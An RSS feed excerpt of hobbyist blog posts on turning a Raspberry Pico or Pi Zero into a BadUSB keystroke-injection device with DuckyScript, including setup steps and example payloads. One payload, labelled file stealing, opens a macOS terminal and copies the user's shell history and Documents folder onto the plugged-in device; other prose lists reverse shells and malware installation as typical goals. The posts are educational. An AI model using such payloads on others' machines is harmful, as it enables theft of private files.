        &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
    &lt;span class="n"&gt;END_WHILE&lt;/span&gt;
&lt;span class="n"&gt;END_FUNCTION&lt;/span&gt;

&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;
&lt;span class="n"&gt;GUI&lt;/span&gt; &lt;span class="n"&gt;SPACE&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;Terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="nc"&gt;SCARE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;STOP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploit 2: File Stealing
&lt;/h2&gt;

&lt;p&gt;The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  Requirements
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Connect the device as HID and storage&lt;/li&gt;
&lt;li&gt;Wait a fixed amount of time&lt;/li&gt;
&lt;li&gt;Start a series of bash commands:

&lt;ul&gt;
&lt;li&gt;Open a terminal&lt;/li&gt;
&lt;li&gt;Determine the likely mount path of the Pico&lt;/li&gt;
&lt;li&gt;Access the host user document folder&lt;/li&gt;
&lt;li&gt;Search and copy known file names&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Disconnect the USB device or hide the copied files&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learnings and Limitations
&lt;/h3&gt;

&lt;p&gt;Several more limitations became apparent during working on this sketch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In &lt;code&gt;boot.py&lt;/code&gt; and &lt;code&gt;code.py&lt;/code&gt;, change all conditional checks for the Raspberry Pico W to a &lt;code&gt;False&lt;/code&gt; value, e.g. replacing &lt;code&gt;raspberry_pi_pico_w&lt;/code&gt; with &lt;code&gt;raspberry_pi_pico&lt;/code&gt;. Note that this will disable the WIFI hotspot too.&lt;/li&gt;
&lt;li&gt;There is no support for the &lt;code&gt;ATTACK_MODE&lt;/code&gt; configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call &lt;code&gt;storage.disable_usb_drive()&lt;/code&gt; is executed.&lt;/li&gt;
&lt;li&gt;When chaining multiple bash commands together, which will take some execution time, using &lt;code&gt;DELAY&lt;/code&gt; become a mandatory command&lt;/li&gt;
&lt;li&gt;You cannot use the &lt;code&gt;STRINGLN&lt;/code&gt; command&lt;/li&gt;
&lt;li&gt;You need to customize the keyboard layout to match the target computers layout, see &lt;a href="https://github.com/dbisu/pico-ducky/tree/main?tab=readme-ov-file#changing-keyboard-layouts" rel="noopener noreferrer"&gt;Changing Keyboard Layouts&lt;/a&gt; in the official documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;The following implementation assumes that the Pico device will get the &lt;code&gt;/dev/disk2&lt;/code&gt; device file. Without the option to disable USB storage, the Pico will connect and stay connected - but the files are copied nevertheless.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OsX&lt;/span&gt;
&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Copy&lt;/span&gt; &lt;span class="n"&gt;well&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;

&lt;span class="n"&gt;GUI&lt;/span&gt; &lt;span class="n"&gt;SPACE&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;iterm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;grep&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;disk2&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sed&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s/.*\(\/Volumes\/.*\)/&lt;/span&gt;&lt;span class="se"&gt;\1&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bash_history&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Documents&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TARGET_PATH&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;STOPP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Raspberry Pico W can be turned into a physical hacking device with the help of the &lt;a href="https://github.com/dbisu/pico-ducky/" rel="noopener noreferrer"&gt;pico ducky&lt;/a&gt; library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the &lt;a href="https://github.com/dbisu/pico-ducky/blob/main/duckyinpython.py" rel="noopener noreferrer"&gt;duckyinpython.py file&lt;/a&gt; for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Physical Device Hacking with Ducky Script</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 07 May 2026 05:50:09 +0000</pubDate>
      <link>https://dev.to/admantium/physical-device-hacking-with-ducky-script-3gh1</link>
      <guid>https://dev.to/admantium/physical-device-hacking-with-ducky-script-3gh1</guid>
      <description>&lt;p&gt;&lt;em&gt;Image source: &lt;a href="https://shop.hak5.org/products/usb-rubber-ducky" rel="noopener noreferrer"&gt;hak5&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Physical hacking of a computer encompasses injection of commands with the target to grab files, install programs, create custom users or gain control. With the programmable Ducky Script USB stick, these exploits can be crafted to target any host system. When inserted, a preprogramed script is executed, written in the Ducky Script language.&lt;/p&gt;

&lt;p&gt;This article is a concise introduction to the DuckyScript programming language. Based on the &lt;a href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference" rel="noopener noreferrer"&gt;official DuckyScript documentation&lt;/a&gt;, it covers the essential commands and overall syntax, from keystrokes to host state management and function definition.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;Adafruit CircuitPython Bundle v9.x&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  DuckyScript Program
&lt;/h2&gt;

&lt;p&gt;A DuckyScript program is a line terminated sequence of commands that executes keystrokes on a target computer. The goal of these keystrokes is typically to infiltrate or compromise a system, for example by running commands that start a reverse shell, creating user accounts with root privileges, or downloading and installing malware. Therefore, a DuckyScript program can be thought of the vehicle, and the actual, os-specific exploit, as the transport.&lt;/p&gt;

&lt;p&gt;The original DuckyScript programs are compiled into a binary using the &lt;a href="https://payloadstudio.hak5.org/" rel="noopener noreferrer"&gt;Hak5 Payload Studio&lt;/a&gt; program. This binary is then uploaded to an USB stick, and executed when the USB stick is connected to a host device&lt;/p&gt;

&lt;p&gt;The original hardware is not the only option to run DuckyScripts - several interpreters for different hardware are available in the open source community, including  these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;pico ducky&lt;/a&gt;: A library for running DuckyScript on the Raspberry Pico microcontroller, using a CircuitPython interpreter.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/YariKartoshe4ka/PotatoParser" rel="noopener noreferrer"&gt;Potato Parser&lt;/a&gt;: A library for running DuckyScript on ESP32 Devices. This Arduino project creates a custom binary with all included libraries.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/BadUsbScriptFormat.md" rel="noopener noreferrer"&gt;Flipper BadUSB&lt;/a&gt;: A DuckyScript 2.x compatible language that runs on the flipper hacking device.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/PrettyBoyCosmo/DucKey-Logger" rel="noopener noreferrer"&gt;DucKey-Logger&lt;/a&gt;: A special PowerShell based exploit that completely logs all keystrokes and sends them to an online address.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Ducky Script Commands
&lt;/h2&gt;

&lt;p&gt;The DuckyScript commands can be separated into these categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keystrokes: Most commands initiate a single or sequence of keystrokes, including control keys.&lt;/li&gt;
&lt;li&gt;Host State Management: Some commands read the systems keyboard state, and can be used as triggers to continue program flow, e.g. waiting for the user to start the screensaver, from which the exploit than resumes&lt;/li&gt;
&lt;li&gt;Device State Management: The original rubber duck USB stick features an LED and a button. Commands for these features can turn the LED on or await the press of a button as a trigger&lt;/li&gt;
&lt;li&gt;Program Structure &amp;amp; Control: DuckyScript allow the definition of variables and functions, lopping, branches and functions. For integer and boolean values, several operators exist. Finally, the global program state can be reflected and modified.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Keystrokes
&lt;/h2&gt;

&lt;p&gt;Please continue reading this article on my blog &lt;a href="https://admantium.com/blog/micro25_raspberry_pico_ducky_script/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt; - I could not get it compiled on dev.to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;DuckyScript is a programming language to initiate keystrokes on a target computer. Essentially, these commands serve as a vehicle to transport an exploit onto a target system. This article provided a compact introduction to the DuckyScript language. You learned about all commands structured into four categories: a) keystrokes, a single or sequence of keys that are executed, b) host state management, commands that check the state of control keys, c) device management, to control the rubber ducks USB stick button and LED , d) program structure &amp;amp; control, defining variables, functions, and using various expressions to compare and modify numbers, strings and boolean values. Reflecting the language design, a striking feature is that the linear, continuous execution can be controlled by waiting for a specific condition on the target system. And with this, an exploit can be applied at the best moment to fulfill its goal.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>duckyscript</category>
    </item>
    <item>
      <title>Raspberry Pico: USB Hacking Device Programming</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 27 Apr 2026 05:05:02 +0000</pubDate>
      <link>https://dev.to/admantium/rasperry-pico-usb-hacking-device-programming-3230</link>
      <guid>https://dev.to/admantium/rasperry-pico-usb-hacking-device-programming-3230</guid>
      <description>&lt;p&gt;Small form-factor single board computers and microcontroller are an ubiquitous stack in electronic projects. An interesting application area for these devices is physical hacking, e.g. using an USB connection to a host system to inject commands, gain system access, or steal files. To my surprise, an entry level microcontroller, the Raspberry Pico, can be used for these nefarious tasks.&lt;/p&gt;

&lt;p&gt;This article shows how to turn a Raspberry Pico into a USB hacking device, also called bad USB in hacker jargon. The Pico is programmed to execute a set of steps on the target computer once its USB connection is established. You will learn how to setup the Pico with the required Python version and libraries and see a simple example program that runs on a Linux host: Opening a text file, writing a text, and storing the file.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;Adafruit CircuitPython Bundle v9.x&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro24_raspberry_pico_usb_hacking/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Required Hardware &amp;amp; Software
&lt;/h2&gt;

&lt;p&gt;For this article, you need a delightfully simple bill-of-materials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pico or Raspberry Pico W&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And for the software:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://circuitpython.org/board/raspberry_pi_pico/" rel="noopener noreferrer"&gt;CircuitPython Raspberry Pico&lt;/a&gt; or &lt;a href="https://circuitpython.org/board/raspberry_pi_pico_w/" rel="noopener noreferrer"&gt;CircuitPython Raspberry Pico W&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://circuitpython.org/libraries" rel="noopener noreferrer"&gt;Adafruit CircuitPython Bundle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;Pico Ducky&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Connect the Pico to your computer and continue with the setup steps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing Circuit Python and Required Libraries
&lt;/h2&gt;

&lt;p&gt;To turn the Pico into a USB hacking gadget, you first need to install the Circuit Python distribution.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the latest version of Circuit Python for the &lt;a href="https://circuitpython.org/board/raspberry_pi_pico/" rel="noopener noreferrer"&gt;Raspberry Pico&lt;/a&gt; or &lt;a href="https://circuitpython.org/board/raspberry_pi_pico_w/" rel="noopener noreferrer"&gt;Raspberry Pico W&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Hold down the Pico’s BOOTSEL button and connect the Pico to your computer&lt;/li&gt;
&lt;li&gt;Drag and drop the Circuit Python firmware to the Pico&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With Circuit Python installed, open the Thonny IDE, configure the interpreter as "CircuitPython (generic)" and select the connected Raspberry Pico. This should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ou69thzu92a8g2vl7m7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ou69thzu92a8g2vl7m7.png" width="711" height="583"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you can access the Pico’s filesystem and add the required libraries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the &lt;a href="https://circuitpython.org/libraries" rel="noopener noreferrer"&gt;Adafruit Circuit Python bundle&lt;/a&gt; for the same major release of Circuit Python that you used before&lt;/li&gt;
&lt;li&gt;From the Zip file, copy the following files to the Raspberry Pico with the very same path:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;adafruit_hid&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;adafruit_wsgi&lt;/span&gt;
&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;
&lt;span class="n"&gt;adafruit_debouncer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mpy&lt;/span&gt;
&lt;span class="n"&gt;adafruit_ticks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mpy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last part is to copy selected files from &lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;Pico Ducky&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download a Zip file of the project, or use &lt;code&gt;git clone&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Copy the following files to the Pico’s root directory:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;boot.py
code.py
duckyinpython.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;And if you are using a Pico W, additionally copy these files:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;secrets.py
webapp.py
wsgiserver.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final file layout should like this in the Thonny IDE:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxepsgdmurk1k7w9kejx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmxepsgdmurk1k7w9kejx.png" width="312" height="330"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you are ready to write your first exploit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing an Exploit
&lt;/h2&gt;

&lt;p&gt;In hacking jargon, an exploit is the execution of intended commands and functions on a computer for a specific goal. The spearhead of bad USB exploits is the scripting language &lt;a href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference" rel="noopener noreferrer"&gt;DuckyScript&lt;/a&gt;, which is used on special programmable USB sticks.&lt;/p&gt;

&lt;p&gt;But thanks to Pico Ducky, these scripts can be run on the Raspberry Pico instead. This libraries code contains an interpreter for DuckyScript, executing Python code instead. According to its develop, you should be able to run any Duck scripts, such as those from the official &lt;a href="https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads" rel="noopener noreferrer"&gt;DuckyScript Payloads GitHub repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A coverage of the complete Ducky script language, its syntax and features, is not the scope of this article. But two points need to be mentioned. First, each exploit is specific to an operating system. Second, real world exploits target specific known vulnerabilities of the host for the purpose if infiltration, privilege escalation or malware installation (which is out of scope too). Third, only execute exploits on your own computers, and be aware that you can damage them in the process.&lt;/p&gt;

&lt;p&gt;With all this being said, lets stick to an entry level example. Targeting a Linux host system, the script opens the application shortcut menu, opens a text editor, and types a message. The script is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;REM Target: Linux Ubuntu
REM Exploit: open text editor and write a message
ALT F2
STRING gedit
DELAY 1500
ENTER
DELAY 1500
STRING Hello World!
DELAY 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can infer, these commands correspond to concrete keystrokes (&lt;code&gt;ALT&lt;/code&gt;, &lt;code&gt;F4&lt;/code&gt;, &lt;code&gt;ENTER&lt;/code&gt;), consecutive typing of arbitrary text (&lt;code&gt;STRING&lt;/code&gt;), waiting between commands with &lt;code&gt;DELAY&lt;/code&gt; and making commands with REM. This script does not have any triggers, so it will run continuously once started.&lt;/p&gt;

&lt;h2&gt;
  
  
  Running an Exploit
&lt;/h2&gt;

&lt;p&gt;The copied file &lt;code&gt;code.py&lt;/code&gt; contains all instructions to run a Pico Duck exploit. It will search and load a file called &lt;code&gt;payload.dd&lt;/code&gt; and execute it. Therefore, to run the test exploit, you just need to upload it to the Pico. But be advised again: Only run exploits on your own computers, and be mindful that you can damage the computer in the process.&lt;/p&gt;

&lt;p&gt;For testing purposes, you can run the script from the Thonny IDE on your setup computer. To have an additional fallback: Connect the &lt;code&gt;GP0 0&lt;/code&gt; with any &lt;code&gt;GND&lt;/code&gt; pin on the Pico to put it into setup mode and disable automatic program execution. Then, selects the &lt;code&gt;code.py&lt;/code&gt; file, and click on the run button. The Thonny terminal shows the program execution like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;progStatus False
Finding payload
Running  payload.dd
Done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the concrete deployment of the exploit, simply unplug the Pico and connect it to its target system. Once the USB drive is mounted, the script will run automatically.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pico W Bonus: Interactive Web Server
&lt;/h2&gt;

&lt;p&gt;When you use a Pico W Board, the Pico Duck library will create a local Wifi hotspot with SSID and PSK defined in the &lt;code&gt;secrets.py&lt;/code&gt; file. Starting the program via Thonny, you should see the following messages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Starting Wifi
Connect wifi
192.168.4.1 80
Starting Web Service
starting monitor_buttons
starting blink_pico_w_led
192.168.4.1 80
open this IP &lt;span class="k"&gt;in &lt;/span&gt;your browser: http://192.168.4.1:80/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connect to the WiFi hotspot, open the given URL, and you will see a simple web GUI that allows you to add, edit and run exploits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftz1zftmj7b6wa07b1moo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftz1zftmj7b6wa07b1moo.png" width="376" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Outlook
&lt;/h2&gt;

&lt;p&gt;Using USB devices to automatically execute commands can compromise systems. This article only showed a very simple exploit, and it has clear limitations. First, it only works on the intended target system and relies on the specific graphical text editor program to be present. Second, the script will run continuously, without interpretation.&lt;/p&gt;

&lt;p&gt;Comparing the DuckyScript with HID script from my &lt;a href="https://admantium.com/blog/micro23_rasperry_zero_hacking_device/" rel="noopener noreferrer"&gt;earlier article&lt;/a&gt; leads me to several observations. HID is based on JavaScript, giving access to full programming language concepts with functions, loops and conditions. Also, HID scripts includes commands to randomize the typing speed of long texts to that of humans Another difference are triggers. HID scripts can be started when a specific event happens, for example when other keystrokes on the host system are detected or when no keystrokes are detected for an amount of time. This makes HID script more stealthy. But there is one big difference: For DuckyScript, a &lt;a href="https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference" rel="noopener noreferrer"&gt;complete language documentation&lt;/a&gt; is available. I'm sure that a better understanding of its features will change my viewpoints.&lt;/p&gt;

&lt;p&gt;Finally, the USB HID library provides many additional features that can be used. The &lt;a href="https://docs.circuitpython.org/projects/hid/en/latest/" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt; lists examples how to control the mouse as well as other generic input like changing the sound volume of the targeted computer. It would be interesting to see how these commands could be incorporated or integrated with Pico Duck.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, you learned how to convert the Raspberry Pico microcontroller into a USB hacking device. Essentially you program the Pico with a custom scripting language, called DuckyScript, with which USB keyboard commands can be executed. Mounted to a target system, the script is executed on the host, and can be used to input complex command sequences. The article showed you how to get started. Besides the Pico itself, you just need a recent Circuit Python version, a USB HID library, and the Pico Duck library which interprets DuckyScript exploits to run with Micro Python. You also saw a very simple exploit for a Linux system: Opening the text editor and type an automated message. But be advised: Only run exploits on systems that you own, and mind that you can damage your computer too.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
    </item>
    <item>
      <title>Turning the Raspberry Pi Zero into a Hacking Gadget</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 16 Apr 2026 04:49:02 +0000</pubDate>
      <link>https://dev.to/admantium/turning-the-raspberry-pi-zero-into-a-hacking-gadget-2ekl</link>
      <guid>https://dev.to/admantium/turning-the-raspberry-pi-zero-into-a-hacking-gadget-2ekl</guid>
      <description>&lt;p&gt;Single Board Computers with the ability to run a full-fledged Linux distribution can be used as portable devices for a wide variety of use cases. To my surprise, one of them is computer hacking. I was astonished about the creativity and ease-of-use how a Raspberry Pi, Raspberry Pi Zero or Pico can be used for potentially nefarious activities. And after a long deliberation, I decided to start writing blog posts about this subject.&lt;/p&gt;

